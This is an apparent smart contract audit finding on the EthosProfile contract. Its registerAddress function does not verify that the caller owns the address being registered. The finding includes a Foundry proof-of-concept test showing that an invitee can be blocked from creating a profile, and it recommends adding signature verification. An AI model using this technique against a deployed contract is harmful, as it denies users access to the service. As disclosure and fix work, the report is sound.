Soaring Orchid Kangaroo
High
Prevent other users from creating profiles by preemptively pre-empting the addresses of users invited by registerAddress
It appears that the off-chain functionality to retrieve the signature
currently used for registerAddress
is not implemented yet. However, �I have reported this as a vulnerability because an important verification process is missing in the smart contract.
function registerAddress(
address addressStr,
uint256 profileId,
uint256 randValue,
bytes calldata signature
Once an address is registered with registerAddress
, it cannot be removed, and there may be a problem because there is no signature verification process within the contract to verify that the caller is the owner of addressStr
.
The address registered with registerAddress
is registered to profileIdByAddress
, and it becomes impossible to create a profile with that address. Because in _createProfile
, the address registered to profileIdByAddress
is reverted because it already exists.
function profileStatusByAddress(
address addressStr
) public view returns (bool verified, bool archived, bool mock, uint256 profileId) {
profileId = profileIdByAddress[addressStr];
...
function _createProfile(address user) internal returns (uint256 profileId) {
(bool verified, , bool mock, uint256 existingProfileId) = profileStatusByAddress(user);
if (verified) {
revert ProfileExists(existingProfileId);
If you can obtain the expectedSigner
signature from someone else's address off-chain, you can prevent that user from creating a profile by randomly registering invited users.
Missing the step to verify owner of addressStr in registerAddress
No response
- Invite a specific address with
inviteAddress
from the admin account. - Register the account you invited with
registerAddress
from another account. - Create a profile with
createProfile
using the invited account. - Make sure it is reverted with
ProfileExists
.
An attacker can prevent others from creating profiles by preempting the invitee's address as the registerAddress
.
// SPDX-License-Identifier: UNLICENSED
pragma solidity =0.8.26;
import {Test, console} from "forge-std/Test.sol";
import {EthosProfile} from "../src/EthosProfile.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {SignatureVerifier} from "../src/utils/SignatureVerifier.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
contract EthosProfileTest is Test {
EthosProfile public profile;
address expectedSigner;
uint256 expectedPk;
function setUp() public {
SignatureVerifier signatureVerifier = new SignatureVerifier();
(expectedSigner, expectedPk) = makeAddrAndKey("expectedSigner");
bytes memory initData = abi.encodeWithSelector(
EthosProfile.initialize.selector,
address(this),
address(this),
expectedSigner,
address(signatureVerifier),
address(this)
);
ERC1967Proxy proxy = new ERC1967Proxy(
address(new EthosProfile()),
initData
);
profile = EthosProfile(address(proxy));
profile.setMaxInvites(20);
}
function test_Invites() public {
profile.inviteAddress(address(100));
profile.inviteAddress(address(200));
vm.startPrank(address(100));
bytes32 digest = keccak256(abi.encodePacked(address(200), uint256(1), uint256(0)));
bytes32 digest2 = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", digest));
(uint8 v, bytes32 r, bytes32 s) = vm.sign(expectedPk, digest2);
bytes memory signature = abi.encodePacked(r, s, v);
profile.createProfile(1);
// register address(200)
profile.registerAddress(address(200), uint256(1), uint256(0), signature);
vm.stopPrank();
vm.startPrank(address(200));
// revert with `ProfileExists`
profile.createProfile(1);
vm.stopPrank();
}
}
It is need to input the signature value for addressStr
and verify it within the smart contract.